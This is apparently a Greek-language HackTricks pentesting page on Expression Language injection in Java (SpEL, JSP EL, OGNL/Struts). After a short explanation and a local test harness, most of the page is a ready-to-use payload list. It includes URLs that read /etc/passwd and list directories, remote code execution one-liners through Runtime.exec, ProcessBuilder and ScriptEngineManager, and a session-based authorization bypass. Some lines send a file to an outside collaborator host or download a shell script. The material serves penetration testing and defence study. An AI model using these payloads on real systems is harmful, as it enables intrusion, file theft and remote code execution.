EL - Expression Language

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team του HackTricks στο AWS)!

WhiteIntel είναι μια μηχανή αναζήτησης που τροφοδοτείται από το dark web και προσφέρει δωρεάν λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν διαρρεύσει από κλέφτες κακόβουλου λογισμικού.

Ο κύριος στόχος του WhiteIntel είναι η καταπολέμηση των αναλήψεων λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.

Μπορείτε να ελέγξετε τον ιστότοπό τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:


Βασικές Πληροφορίες

Η Έκφραση Γλώσσας (EL) είναι ουσιώδης στο JavaEE για τη γέφυρα μεταξύ του επιπέδου παρουσίασης (π.χ., ιστοσελίδες) και της λογικής εφαρμογής (π.χ., διαχειριζόμενα beans), επιτρέποντας την αλληλεπίδρασή τους. Χρησιμοποιείται κυρίως σε:

  • JavaServer Faces (JSF): Για τη σύνδεση στοιχείων διεπαφής χρήστη με δεδομένα/ενέργειες πίσω από τη σκηνή.

  • JavaServer Pages (JSP): Για πρόσβαση και επεξεργασία δεδομένων μέσα σε σελίδες JSP.

  • Περιβάλλοντα Συμπεράσματος και Εξάρτησης για το Java EE (CDI): Για τη διευκόλυνση της αλληλεπίδρασης του επιπέδου ιστού με τα διαχειριζόμενα beans.

Περιβάλλοντα Χρήσης:

  • Πλαίσιο Spring: Εφαρμόζεται σε διάφορα modules όπως Security και Data.

  • Γενική Χρήση: Μέσω του API SpEL από προγραμματιστές σε γλώσσες βασισμένες στο JVM όπως Java, Kotlin και Scala.

Η EL είναι παρούσα σε τεχνολογίες JavaEE, αυτόνομα περιβάλλοντα και αναγνωρίζεται μέσω των επεκτάσεων αρχείων .jsp ή .jsf, σφαλμάτων στο σωρό και όρων όπως "Servlet" στις κεφαλίδες. Ωστόσο, τα χαρακτηριστικά της και η χρήση ορισμένων χαρακτήρων μπορεί να εξαρτώνται από την έκδοση.

Ανάλογα με τη έκδοση της EL μερικά χαρακτηριστικά μπορεί να είναι ενεργοποιημένα ή απενεργοποιημένα και συνήθως μερικοί χαρακτήρες μπορεί να είναι απαγορευμένοι.

Βασικό Παράδειγμα

(Μπορείτε να βρείτε ένα άλλο ενδιαφέρον εκπαιδευτικό φυλλάδιο σχετικά με την EL στο https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/)

Κατεβάστε από το αποθετήριο Maven τα αρχεία jar:

  • commons-lang3-3.9.jar

  • spring-core-5.2.1.RELEASE.jar

  • commons-logging-1.2.jar

  • spring-expression-5.2.1.RELEASE.jar

Και δημιουργήστε το ακόλουθο αρχείο Main.java:

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
public static ExpressionParser PARSER;

public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();

System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}

Επόμενο βήμα είναι η συγχώνευση του κώδικα (αν δεν έχετε εγκατεστημένο το javac, εγκαταστήστε το sudo apt install default-jdk):

javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java

Εκτελέστε την εφαρμογή με:

java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]

Σημειώστε ότι στο προηγούμενο παράδειγμα ο όρος {5*5} αξιολογήθηκε.

Βασισμένο σε CVE Οδηγός

Ελέγξτε το σε αυτή την ανάρτηση: https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a

Payloads

Βασικές ενέργειες

#Basic string operations examples
{"a".toString()}
[a]

{"dfd".replace("d","x")}
[xfx]

#Access to the String class
{"".getClass()}
[class java.lang.String]

#Access ro the String class bypassing "getClass"
#{""["class"]}

#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]

#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]

Ανίχνευση

  • Ανίχνευση με το Burp

gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
  • Ανίχνευση J2EE

#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
  • Κοιμηθείτε 10 δευτερόλεπτα

#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}

Απομακρυσμένη Συμπερίληψη Αρχείου

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd

Κατάλογος Καταχώρησης

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..

RCE

  • Βασική εξήγηση RCE

#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]

#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]

#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}

# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
  • RCE linux

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
  • RCE Windows (δεν έχει δοκιμαστεί)

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
  • Περισσότερες RCE

// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

// Method using Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");

//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')

Επιθεώρηση του περιβάλλοντος

  • applicationScope - γενικές μεταβλητές της εφαρμογής

  • requestScope - μεταβλητές αιτήματος

  • initParam - μεταβλητές αρχικοποίησης εφαρμογής

  • sessionScope - μεταβλητές συνεδρίας

  • param.X - τιμή παραμέτρου όπου το Χ είναι το όνομα μιας παραμέτρου http

Θα πρέπει να μετατρέψετε αυτές τις μεταβλητές σε συμβολοσειρά όπως:

${sessionScope.toString()}

Παράδειγμα παράκαμψης εξουσιοδότησης

${pageContext.request.getSession().setAttribute("admin", true)}

Η εφαρμογή μπορεί επίσης να χρησιμοποιεί προσαρμοσμένες μεταβλητές όπως:

${user}
${password}
${employee.FirstName}

Διαπορεία WAF

Ελέγξτε https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/

Αναφορές

WhiteIntel είναι μια μηχανή αναζήτησης που τροφοδοτείται από το dark web και προσφέρει δωρεάν λειτουργίες για να ελέγξετε αν μια εταιρεία ή οι πελάτες της έχουν διαρρεύσει από κλέφτες κακόβουλου λογισμικού.

Ο βασικός στόχος του WhiteIntel είναι η καταπολέμηση των απαγωγών λογαριασμών και των επιθέσεων ransomware που προκύπτουν από κακόβουλο λογισμικό που κλέβει πληροφορίες.

Μπορείτε να ελέγξετε την ιστοσελίδα τους και να δοκιμάσετε τη μηχανή τους δωρεάν στο:

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Last updated